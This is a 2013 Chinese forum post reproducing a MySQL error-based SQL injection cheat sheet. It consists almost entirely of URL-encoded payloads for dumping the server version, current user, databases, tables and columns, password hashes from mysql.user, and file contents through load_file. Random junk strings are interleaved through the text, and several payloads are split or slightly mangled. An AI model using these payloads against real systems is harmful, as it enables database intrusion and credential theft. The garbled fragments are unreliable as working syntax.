本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
( ~; k# f( D; N8 E
$ Q+ }9 N% m( }! ]4 n$ N" ]1 W. Z0 G* x# l
Mysql暴错注入参考(pdf),每天一贴。。。
% N7 l1 G, S" E+ y V6 G) Q- @" z" Y/ [# ]& f
MySql Error Based Injection Reference" ~4 [8 F1 {" @3 C+ O% z) A
[Mysql暴错注入参考]
Q! d8 @' ?* L5 q! C- PAuthornig0s1992
! A6 F( o3 D. a4 ]* wBlog:http://pnig0s1992.blog.51cto.com/* n, g4 Q2 L! z. s
TeAm:http://www.FreeBuf.com/
8 l9 u. ]8 G- [! ^8 Z$ Q, M* a# W- GMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功! y. V( k$ o C. T8 ^5 R& a
小部分版本使用name_const()时会报错.可以用给出的Method.2测试# _5 e$ h: n0 Y- J0 Z& o3 R
查询版本:3 u+ D% V# s( U' |. X
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
# t3 g1 b( G& a. Q9 @join+(select+name_const(@@version,0))b)c)% s# `! u$ h! F; ]* d& W" Z' ^
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
& E. B( e) z [, vup by a)b)& J3 A" q$ p! c) ^3 W
查询当前用户:
: d9 [, `" K* J$ _# b9 l4 rMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
% v7 [% x" b* N7 y% vMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r, j i. u+ z' Q" _: U9 n0 @
and(0)*2))x+from+information_schema.tables+group+by+x)a)
( s6 [( d0 h7 C$ c/ C* l查询当前数据库:
/ d" n0 H6 A9 d, U# e. uMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)0 C8 ~" f5 s/ p7 T& D4 g/ M
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo' u. L8 L# C- M; X- e+ Z, _ i
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)% p$ s, ~3 r3 O! r
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' [& a) y: G& e. J r! PLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n6 j$ l+ C; o2 i( c* F: w
顺序替换
3 x* s$ R& p0 ]1 D爆指定库数目:& M- r$ J$ W1 A' P& j& A% B s1 W
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t1 \$ {8 J2 p2 z# p# W9 \
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group9 z/ V* f& n' _& f# u8 h, d
+by+x)a)+and+1=1 0x6D7973716C=mysql
9 t) a' f9 q2 M: ?+ x依次爆表:
; l9 M. |8 r1 M! ?- a1 Xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
: f% s; J/ Y \! W3 n6 C8 Zable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
2 \1 _5 P% L9 A, ?8 _ T1 Nbles+group+by+x)a)+and+1=1" D: n8 z5 B" c! l/ ]
0x6D7973716C=Mysql 将n顺序替换
/ N0 F8 T% y; I) @1 \爆表内字段数目:
3 P E1 I* L1 B; {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE6 `3 R4 I2 E3 _" x
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran! C T$ F2 i; D4 g9 e2 |2 g2 g0 v) i
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1/ l* z4 A6 D3 J
依次爆字段:
; Q' V( I/ R- pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where5 z/ @7 R* D% d r' ?
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
% N3 ?$ M1 U4 m" \" zloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换# f( r6 O3 P( f$ q; c- _7 t
依次暴内容:8 G. B& j2 S" a# y: h& O" _
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche8 T4 w4 F* @" \& s7 a
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
' ]$ q+ U! U) }* _( C% Z将n顺序替换# c2 |1 I5 |3 v4 \
爆文件内容:) z- i7 {+ f2 D# }8 n) S/ F
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a2 I5 b, q0 k! q- \
from+information_schema.tables+group+by+a)b)
2 z9 S/ \+ \+ L7 K0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. P) Z# I) A F- `! {0 h4 UThx for reading.3 W( ]2 T2 k! e2 v) @1 Q
/ c0 a" R' R! `. F5 W不要下载也可以, ) ]2 b9 S8 Y3 O* \; y6 k
|